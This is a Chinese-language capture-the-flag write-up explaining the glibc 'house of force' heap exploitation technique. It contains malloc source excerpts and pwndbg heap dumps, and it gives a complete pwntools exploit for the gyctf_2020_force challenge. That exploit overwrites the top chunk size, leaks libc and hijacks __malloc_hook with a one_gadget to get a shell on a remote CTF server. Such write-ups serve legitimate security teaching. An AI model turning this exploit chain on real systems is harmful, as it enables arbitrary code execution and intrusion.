house_of_force

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house_of_force
house of force的攻击原理是尝试从heap中分配一个非常大的内存，使得可以将chunk分配在高地址的libc中或者进一步让其溢出分配到低地址上的用户代码段中。

用户申请一个chunk后
系统先判断bin中是否有符合大小的chunk 如果没有再去top chunk分配

top chunk的分配办法是在top chunk顶部分配出一个空间 随后top chunk的位置向高地址处增加
先看看chunk申请的源码

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victim = av->top;//获取当前top chunk的地址
size = chunksize (victim);//获取当前top chunk的大小

if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
//MINSIZE就是堆块的最小size，32位程序为0x10，64位程序为0x20
//nb为实际要获取的chunk大小(申请的大小加上MINSIZE)
//判断式是为了保证top chunk有足够大小的空间来供此次申请
//之所以要加上MINSIZE是因为为了确保申请完chunk后 top chunk还能保持完整的chunk结构
  {
    remainder_size = size - nb;              //remainder_size为分配chunk后的top chunk大小
    remainder = chunk_at_offset (victim, nb);//remainder为分配完后的top chunk地址
    av->top = remainder;                     //更新top chunk
                                             //下面两个set_head给分配出去的堆块以及分配后的top chunk设置新的size
    set_head (victim, nb | PREV_INUSE |
              (av != &main_arena ? NON_MAIN_ARENA : 0));
    set_head (remainder, remainder_size | PREV_INUSE);

    check_malloced_chunk (av, victim, nb);
    void *p = chunk2mem (victim);
    alloc_perturb (p, bytes);
    return p;
  }

要实现house of force攻击，我们需要两点，一是修改Top chunk size为非常大的数，方便我们可以进行任意大的内存分配；二是分配大内存后，Top chunk剩余size必须大于：X（我们想要在目标地址分配的chunk大小，包括头部信息）+ MINSIZE(大小为0x20)，这样才能让我们在目标地址处进一步分配X大小的chunk。

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from pwn import*
p = process("./2heap")
elf = ELF("./2heap")
#libc = ELF("./libc-2.23.so")
context(os='linux', arch='amd64', log_level='debug')

def debug():
    gdb.attach(p)
    pause()
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def add(size,payload):
    p.recvuntil(">")
    p.sendline(b'1')
    p.recvuntil(b"You can customize the size of house here, but what about your life")
    p.sendline(str(size))
    p.recvuntil(b"add something to your house\n")
    p.send(payload)


def delete(index):
    p.recvuntil(">")
    p.sendline(b'2')
    p.recvuntil(b'every decision you made is meaningful')
    p.sendline(str(index))

def edit(index,size,payload):
    p.recvuntil(">")
    p.sendline(b'3')
    p.recvuntil(b"It's never too late to make changes")
    p.sendline(str(index))
    p.recvuntil(b"something interesting here")
    p.sendline(str(size))
    p.sendlineafter(b"Now add something",payload)

def show(index):
    p.recvuntil(">")
    p.sendline(b'4')
    p.recvuntil(b"Let's see what you can do")
    p.sendline(str(index))


add(0x20,b'0xcafe66')#chunk0
add(0x30,b'aaaa')#chunk1
payload = cyclic(0x38)+p64(0xffffffffffffffff)
debug()
edit(1,len(payload),payload)#attack
pause()
add(0x40,b'aaaa')#chunk3

攻只因前

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pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x1bc1000
Size: 0x291

Allocated chunk | PREV_INUSE
Addr: 0x1bc1290
Size: 0x31

Allocated chunk | PREV_INUSE
Addr: 0x1bc12c0
Size: 0x41

Top chunk | PREV_INUSE
Addr: 0x1bc1300
Size: 0x20d01

攻只因后

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pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x1bc1000
Size: 0x291

Allocated chunk | PREV_INUSE
Addr: 0x1bc1290
Size: 0x31

Allocated chunk | PREV_INUSE
Addr: 0x1bc12c0
Size: 0x41

Top chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
Addr: 0x1bc1300
Size: 0xffffffffffffffff

pwndbg> x/40gx 0x1bc1300
0x1bc1300:	0x6161616e6161616d	0xffffffffffffffff
0x1bc1310:	0x000000000000000a	0x0000000000000000
0x1bc1320:	0x0000000000000000	0x0000000000000000
0x1bc1330:	0x0000000000000000	0x0000000000000000
0x1bc1340:	0x0000000000000000	0x0000000000000000
0x1bc1350:	0x0000000000000000	0x0000000000000000
0x1bc1360:	0x0000000000000000	0x0000000000000000
0x1bc1370:	0x0000000000000000	0x0000000000000000
0x1bc1380:	0x0000000000000000	0x0000000000000000
0x1bc1390:	0x0000000000000000	0x0000000000000000
0x1bc13a0:	0x0000000000000000	0x0000000000000000
0x1bc13b0:	0x0000000000000000	0x0000000000000000
0x1bc13c0:	0x0000000000000000	0x0000000000000000
0x1bc13d0:	0x0000000000000000	0x0000000000000000
0x1bc13e0:	0x0000000000000000	0x0000000000000000
0x1bc13f0:	0x0000000000000000	0x0000000000000000
0x1bc1400:	0x0000000000000000	0x0000000000000000
0x1bc1410:	0x0000000000000000	0x0000000000000000
0x1bc1420:	0x0000000000000000	0x0000000000000000
0x1bc1430:	0x0000000000000000	0x0000000000000000

可以看到这个topchunk的size已被篡改

下面放道题，看看该技术如何利用
gyctf_2020_force
checksec

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[*] '/var/run/vmblock-fuse/blockdir/Zf5bfF/force'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

看看add函数

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unsigned __int64 sub_A20()
{
  const void **i; // [rsp+0h] [rbp-120h]
  __int64 size; // [rsp+8h] [rbp-118h]
  char s[256]; // [rsp+10h] [rbp-110h] BYREF
  unsigned __int64 v4; // [rsp+118h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  memset(s, 255, sizeof(s));
  for ( i = (const void **)&unk_202080; *i; ++i )
    ;
  if ( (char *)i - (char *)&unk_202080 > 39 )
    exit(0);
  puts("size");
  read(0, nptr, 0xFuLL);
  size = atol(nptr);
  *i = malloc(size);   //没有限制chunk_size
  if ( !*i )
    exit(0);
  printf("bin addr %p\n", *i);//会打印堆地址
  puts("content");
  read(0, (void *)*i, 0x50uLL);//存在堆溢出，当申请的chunk_size < 0x50时
  puts("done");
  return __readfsqword(0x28u) ^ v4;
}

one_gadgets

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0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

先打house_of_force，拿捏top_chunk
同时，在分配第一个chunk时，程序还会打印出bin_addr,可以利用此泄露libc_addr

__realloc_hook 和 __malloc_hook这两个钩子函数是相邻的，我们可以利用同一个chunk来劫持__malloc_hook为realloc+0x10，并劫持__realloc_hook为one_gadget

再次执行malloc即可getshell

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from pwn import *
#p = process('./force')
p = remote('node4.buuoj.cn',27065)
libc = ELF("buu_libc-2.23.so")
context(os='linux', arch='amd64', log_level='debug')

def debug():
    gdb.attach(p)
    pause()

def add(size, content):
    p.recvuntil("2:puts\n")
    p.sendline("1")
    p.recvuntil("size\n")
    p.sendline(str(size))
    p.recvuntil(b"bin addr ")
    info = p.recvuntil("\n", drop=True)
    # print(info)
    info = int(info.decode("ISO-8859-1"), 16)
    p.recvuntil("content\n")
    p.send(content)
    return info

one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]

libc.address = add(0x200000, 'chunk0\n') + 0x200ff0 #gdb找偏移，leak_libc_base && house_of_force拿捏topchunk
success('libc_base'+hex(libc.address))

heap_addr = add(0x18,b'a'*0x10+p64(0)+p64(0xFFFFFFFFFFFFFFFF)) #leak_heap_addr &&修改topchunk的size为0xFFFFFFFFFFFFFFFF
success("heap_addr:"+hex(heap_addr))
top = heap_addr + 0x10          #leak_topchunk_addr

malloc_hook = libc.sym['__malloc_hook'] #get_malloc_hook_addr
success("malloc_hook:"+hex(malloc_hook))

realloc = libc.sym["__libc_realloc"]
offset = malloc_hook - top
system = libc.sym['system']
bin_sh = libc.search(b'/bin/sh')

success("system:" + hex(system))
success("bin_sh:" + str(bin_sh))

#debug()

#one_gadget + libc.address -> 计算偏移,使topchunk落在malloc_hook处
#此时申请一个chunk，就可以实现修改malloc_hook和realloc_hook
add(offset-0x30,b'aaa\n')
add(0x30,b'a'*8+p64(one_gadget[1] + libc.address)+p64(realloc+0x10))#hijack_malloc_hook

#再次执行malloc，即可getshell
p.recvuntil("2:puts\n")
p.sendline('1')
p.recvuntil("size\n")
p.sendline(str(20))

p.interactive()
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